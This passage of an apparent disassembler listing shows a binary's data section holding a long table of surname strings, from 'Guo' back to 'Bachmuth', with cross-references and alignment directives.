aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
